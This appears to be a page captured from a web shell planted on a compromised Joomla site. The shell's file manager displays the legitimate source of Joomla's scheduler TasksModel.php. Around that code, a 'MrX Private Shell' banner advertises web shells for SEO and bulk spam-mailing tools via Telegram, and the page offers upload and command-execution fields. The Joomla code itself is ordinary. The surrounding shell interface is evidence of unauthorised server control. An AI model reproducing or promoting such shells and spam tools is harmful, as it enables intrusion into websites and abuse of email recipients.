__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_scheduler
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Scheduler\Administrator\Model;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Object\CMSObject;
use Joomla\Component\Scheduler\Administrator\Helper\SchedulerHelper;
use Joomla\Component\Scheduler\Administrator\Task\TaskOption;
use Joomla\Database\ParameterType;
use Joomla\Database\QueryInterface;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The MVC Model for TasksView.
 * Defines methods to deal with operations concerning multiple `#__scheduler_tasks` entries.
 *
 * @since  4.1.0
 */
class TasksModel extends ListModel
{
    protected $listForbiddenList = ['select', 'multi_ordering'];

    /**
     * Constructor.
     *
     * @param   array                 $config   An optional associative array of configuration settings.
     * @param   ?MVCFactoryInterface  $factory  The factory.
     *
     * @since   4.1.0
     * @throws  \Exception
     * @see     \JControllerLegacy
     */
    public function __construct($config = [], ?MVCFactoryInterface $factory = null)
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = [
                'id', 'a.id',
                'asset_id', 'a.asset_id',
                'title', 'a.title',
                'type', 'a.type',
                'type_title', 'j.type_title',
                'state', 'a.state',
                'last_exit_code', 'a.last_exit_code',
                'last_execution', 'a.last_execution',
                'next_execution', 'a.next_execution',
                'times_executed', 'a.times_executed',
                'times_failed', 'a.times_failed',
                'ordering', 'a.ordering',
                'priority', 'a.priority',
                'note', 'a.note',
                'created', 'a.created',
                'created_by', 'a.created_by',
            ];
        }

        parent::__construct($config, $factory);
    }

    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  A prefix for the store id.
     *
     * @return string  A store id.
     *
     * @since  4.1.0
     */
    protected function getStoreId($id = ''): string
    {
        // Compile the store id.
        $id .= ':' . $this->getState('filter.search');
        $id .= ':' . $this->getState('filter.state');
        $id .= ':' . $this->getState('filter.type');
        $id .= ':' . $this->getState('filter.orphaned');
        $id .= ':' . $this->getState('filter.due');
        $id .= ':' . $this->getState('filter.locked');
        $id .= ':' . $this->getState('filter.trigger');
        $id .= ':' . $this->getState('list.select');

        return parent::getStoreId($id);
    }

    /**
     * Method to create a query for a list of items.
     *
     * @return  QueryInterface
     *
     * @since  4.1.0
     * @throws \Exception
     */
    protected function getListQuery(): QueryInterface
    {
        // Create a new query object.
        $db    = $this->getDatabase();
        $query = $db->getQuery(true);

        /**
         * Select the required fields from the table.
         * ? Do we need all these defaults ?
         * ? Does 'list.select' exist ?
         */
        $query->select(
            $this->getState(
                'list.select',
                [
                    $db->quoteName('a.id'),
                    $db->quoteName('a.asset_id'),
                    $db->quoteName('a.title'),
                    $db->quoteName('a.type'),
                    $db->quoteName('a.execution_rules'),
                    $db->quoteName('a.state'),
                    $db->quoteName('a.last_exit_code'),
                    $db->quoteName('a.locked'),
                    $db->quoteName('a.last_execution'),
                    $db->quoteName('a.next_execution'),
                    $db->quoteName('a.times_executed'),
                    $db->quoteName('a.times_failed'),
                    $db->quoteName('a.priority'),
                    $db->quoteName('a.ordering'),
                    $db->quoteName('a.note'),
                    $db->quoteName('a.created_by'),
                    $db->quoteName('a.checked_out'),
                    $db->quoteName('a.checked_out_time'),
                ]
            )
        )
            ->select(
                [
                    $db->quoteName('uc.name', 'editor'),
                ]
            )
            ->from($db->quoteName('#__scheduler_tasks', 'a'))
            ->join('LEFT', $db->quoteName('#__users', 'uc'), $db->quoteName('uc.id') . ' = ' . $db->quoteName('a.checked_out'));

        // Filters go below
        $filterCount = 0;

        /**
         * Extends query if already filtered.
         *
         * @param   string  $outerGlue
         * @param   array   $conditions
         * @param   string  $innerGlue
         *
         * @since  4.1.0
         */
        $extendWhereIfFiltered = static function (
            string $outerGlue,
            array $conditions,
            string $innerGlue
        ) use (
            $query,
            &$filterCount
        ) {
            if ($filterCount++) {
                $query->extendWhere($outerGlue, $conditions, $innerGlue);
            } else {
                $query->where($conditions, $innerGlue);
            }
        };

        // Filter over ID, title (redundant to search, but) ---
        if (is_numeric($id = $this->getState('filter.id'))) {
            $filterCount++;
            $id = (int) $id;
            $query->where($db->quoteName('a.id') . ' = :id')
                ->bind(':id', $id, ParameterType::INTEGER);
        } elseif ($title = $this->getState('filter.title')) {
            $filterCount++;
            $match = "%$title%";
            $query->where($db->quoteName('a.title') . ' LIKE :match')
                ->bind(':match', $match);
        }

        // Filter orphaned (-1: exclude, 0: include, 1: only) ----
        $filterOrphaned = (int) $this->getState('filter.orphaned');

        if ($filterOrphaned !== 0) {
            $filterCount++;
            $taskOptions = SchedulerHelper::getTaskOptions();

            // Array of all active routine ids
            $activeRoutines = array_map(
                static function (TaskOption $taskOption): string {
                    return $taskOption->id;
                },
                $taskOptions->options
            );

            if ($filterOrphaned === -1) {
                $query->whereIn($db->quoteName('type'), $activeRoutines, ParameterType::STRING);
            } else {
                $query->whereNotIn($db->quoteName('type'), $activeRoutines, ParameterType::STRING);
            }
        }

        // Filter over state ----
        $state = $this->getState('filter.state');

        if ($state !== '*') {
            $filterCount++;

            if (is_numeric($state)) {
                $state = (int) $state;

                $query->where($db->quoteName('a.state') . ' = :state')
                    ->bind(':state', $state, ParameterType::INTEGER);
            } else {
                $query->whereIn($db->quoteName('a.state'), [0, 1]);
            }
        }

        // Filter over type ----
        $typeFilter = $this->getState('filter.type');

        if ($typeFilter) {
            $filterCount++;
            $query->where($db->quotename('a.type') . '= :type')
                ->bind(':type', $typeFilter);
        }

        // Filter over exit code ----
        $exitCode = $this->getState('filter.last_exit_code');

        if (is_numeric($exitCode)) {
            $filterCount++;
            $exitCode = (int) $exitCode;
            $query->where($db->quoteName('a.last_exit_code') . '= :last_exit_code')
                ->bind(':last_exit_code', $exitCode, ParameterType::INTEGER);
        }

        // Filter due (-1: exclude, 0: include, 1: only) ----
        $due = $this->getState('filter.due');

        if (is_numeric($due) && $due != 0) {
            $now      = Factory::getDate('now', 'GMT')->toSql();
            $operator = $due == 1 ? ' <= ' : ' > ';
            $filterCount++;
            $query->where($db->quoteName('a.next_execution') . $operator . ':now')
                ->bind(':now', $now);
        }

        /*
         * Filter locked ---
         * Locks can be either hard locks or soft locks. Locks that have expired (exceeded the task timeout) are soft
         * locks. Hard-locked tasks are assumed to be running. Soft-locked tasks are assumed to have suffered a fatal
         * failure.
         * {-2: exclude-all, -1: exclude-hard-locked, 0: include, 1: include-only-locked, 2: include-only-soft-locked}
         */
        $locked = $this->getState('filter.locked');

        if (is_numeric($locked) && $locked != 0) {
            $now              = Factory::getDate('now', 'GMT');
            $timeout          = ComponentHelper::getParams('com_scheduler')->get('timeout', 300);
            $timeout          = new \DateInterval(\sprintf('PT%dS', $timeout));
            $timeoutThreshold = (clone $now)->sub($timeout)->toSql();
            $now              = $now->toSql();

            switch ($locked) {
                case -2:
                    $query->where($db->quoteName('a.locked') . 'IS NULL');
                    break;
                case -1:
                    $extendWhereIfFiltered(
                        'AND',
                        [
                            $db->quoteName('a.locked') . ' IS NULL',
                            $db->quoteName('a.locked') . ' < :threshold',
                        ],
                        'OR'
                    );
                    $query->bind(':threshold', $timeoutThreshold);
                    break;
                case 1:
                    $query->where($db->quoteName('a.locked') . ' IS NOT NULL');
                    break;
                case 2:
                    $query->where($db->quoteName('a.locked') . ' < :threshold')
                        ->bind(':threshold', $timeoutThreshold);
            }
        }

        // Filter over search string if set (title, type title, note, id) ----
        $searchStr = $this->getState('filter.search');

        if (!empty($searchStr)) {
            // Allow search by ID
            if (stripos($searchStr, 'id:') === 0) {
                // Add array support [?]
                $id = (int) substr($searchStr, 3);
                $query->where($db->quoteName('a.id') . '= :id')
                    ->bind(':id', $id, ParameterType::INTEGER);
            } elseif (stripos($searchStr, 'type:') !== 0) {
                // Search by type is handled exceptionally in _getList() [@todo: remove refs]
                $searchStr = "%$searchStr%";

                // Bind keys to query
                $query->bind(':title', $searchStr)
                    ->bind(':note', $searchStr);
                $conditions = [
                    $db->quoteName('a.title') . ' LIKE :title',
                    $db->quoteName('a.note') . ' LIKE :note',
                ];
                $extendWhereIfFiltered('AND', $conditions, 'OR');
            }
        }

        // Add list ordering clause. ----
        // @todo implement multi-column ordering someway
        $multiOrdering = $this->state->get('list.multi_ordering');

        if (!$multiOrdering || !\is_array($multiOrdering)) {
            $orderCol = $this->state->get('list.ordering', 'a.next_execution');
            $orderDir = $this->state->get('list.direction', 'asc');

            // Type title ordering is handled exceptionally in _getList()
            if ($orderCol !== 'j.type_title') {
                $query->order($db->quoteName($orderCol) . ' ' . $orderDir);

                // If ordering by type or state, also order by title.
                if (\in_array($orderCol, ['a.type', 'a.state', 'a.priority'])) {
                    // @todo : Test if things are working as expected
                    $query->order($db->quoteName('a.title') . ' ' . $orderDir);
                }
            }
        } else {
            $orderClauses = [];

            // Loop through provided clauses
            foreach ($multiOrdering as $ordering) {
                [$column, $direction] = explode(' ', $ordering);

                $orderClauses[] = $db->quoteName($column) . ' ' . $direction;
            }

            // At least one correct order clause
            if (\count($orderClauses) > 0) {
                $query->order($orderClauses);
            }
        }

        return $query;
    }

    /**
     * Overloads the parent _getList() method.
     * Takes care of attaching TaskOption objects and sorting by type titles.
     *
     * @param   QueryInterface  $query       The database query to get the list with
     * @param   int             $limitstart  The list offset
     * @param   int             $limit       Number of list items to fetch
     *
     * @return object[]
     *
     * @since  4.1.0
     * @throws \Exception
     */
    protected function _getList($query, $limitstart = 0, $limit = 0): array
    {
        // Get stuff from the model state
        $listOrder      = $this->getState('list.ordering', 'a.next_execution');
        $listDirectionN = strtolower($this->getState('list.direction', 'asc')) === 'desc' ? -1 : 1;

        // Set limit parameters and get object list
        $query->setLimit($limit, $limitstart);
        $this->getDatabase()->setQuery($query);

        // Return optionally an extended class.
        // @todo: Use something other than CMSObject..
        if ($this->getState('list.customClass')) {
            $responseList = array_map(
                static function (array $arr) {
                    $o = new CMSObject();

                    foreach ($arr as $k => $v) {
                        $o->{$k} = $v;
                    }

                    return $o;
                },
                $this->getDatabase()->loadAssocList() ?: []
            );
        } else {
            $responseList = $this->getDatabase()->loadObjectList();
        }

        // Attach TaskOptions objects and a safe type title
        $this->attachTaskOptions($responseList);

        // If ordering by non-db fields, we need to sort here in code
        if ($listOrder === 'j.type_title') {
            $responseList = ArrayHelper::sortObjects($responseList, 'safeTypeTitle', $listDirectionN, true, false);
        }

        return $responseList;
    }

    /**
     * For an array of items, attaches TaskOption objects and (safe) type titles to each.
     *
     * @param   array  $items  Array of items, passed by reference
     *
     * @return void
     *
     * @since  4.1.0
     * @throws \Exception
     */
    private function attachTaskOptions(array $items): void
    {
        $taskOptions = SchedulerHelper::getTaskOptions();

        foreach ($items as $item) {
            $item->taskOption    = $taskOptions->findOption($item->type);
            $item->safeTypeTitle = $item->taskOption->title ?? Text::_('JGLOBAL_NONAPPLICABLE');
        }
    }

    /**
     * Proxy for the parent method.
     * Sets ordering defaults.
     *
     * @param   string  $ordering   Field to order/sort list by
     * @param   string  $direction  Direction in which to sort list
     *
     * @return void
     * @since  4.1.0
     */
    protected function populateState($ordering = 'a.next_execution', $direction = 'ASC'): void
    {
        $app = Factory::getApplication();

        // Clean the multiorder values
        if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', [], 'array')) {
            if (!empty($list['multi_ordering']) && \is_array($list['multi_ordering'])) {
                $orderClauses = [];

                // Loop through provided clauses
                foreach ($list['multi_ordering'] as $multiOrdering) {
                    // Split the combined string into individual variables
                    $multiOrderingParts = explode(' ', $multiOrdering, 2);

                    // Check that at least the column is present
                    if (\count($multiOrderingParts) < 1) {
                        continue;
                    }

                    // Assign variables
                    $multiOrderingColumn = $multiOrderingParts[0];
                    $multiOrderingDir    = \count($multiOrderingParts) === 2 ? $multiOrderingParts[1] : 'asc';

                    // Validate provided column
                    if (!\in_array($multiOrderingColumn, $this->filter_fields)) {
                        continue;
                    }

                    // Validate order dir
                    if (strtolower($multiOrderingDir) !== 'asc' && strtolower($multiOrderingDir) !== 'desc') {
                        continue;
                    }

                    $orderClauses[] = $multiOrderingColumn . ' ' . $multiOrderingDir;
                }

                $this->setState('list.multi_ordering', $orderClauses);
            }
        }

        // Call the parent method
        parent::populateState($ordering, $direction);
    }

    /**
     * Check if we have any enabled due tasks and no locked tasks.
     *
     * @param   Date  $time  The next execution time to check against
     *
     * @return boolean
     * @since  4.4.0
     */
    public function hasDueTasks(Date $time): bool
    {
        $db  = $this->getDatabase();
        $now = $time->toSql();

        $query = $db->getQuery(true)
            // Count due tasks
            ->select('SUM(CASE WHEN ' . $db->quoteName('a.next_execution') . ' <= :now THEN 1 ELSE 0 END) AS due_count')
            // Count locked tasks
            ->select('SUM(CASE WHEN ' . $db->quoteName('a.locked') . ' IS NULL THEN 0 ELSE 1 END) AS locked_count')
            ->from($db->quoteName('#__scheduler_tasks', 'a'))
            ->where($db->quoteName('a.state') . ' = 1')
            ->bind(':now', $now);

        $db->setQuery($query);

        $taskDetails = $db->loadObject();

        // False if we don't have due tasks, or we have locked tasks
        return $taskDetails && $taskDetails->due_count && !$taskDetails->locked_count;
    }

    /**
     * Check if we have right now any enabled due tasks and no locked tasks.
     *
     * @return boolean
     * @since  5.2.0
     */
    public function getHasDueTasks()
    {
        return $this->hasDueTasks(Factory::getDate('now', 'UTC'));
    }
}

Filemanager

Name Type Size Permission Actions
LogModel.php File 1.54 KB 0664
LogsModel.php File 5.54 KB 0664
SelectModel.php File 1.64 KB 0664
TaskModel.php File 28.76 KB 0664
TasksModel.php File 18.65 KB 0664
Filemanager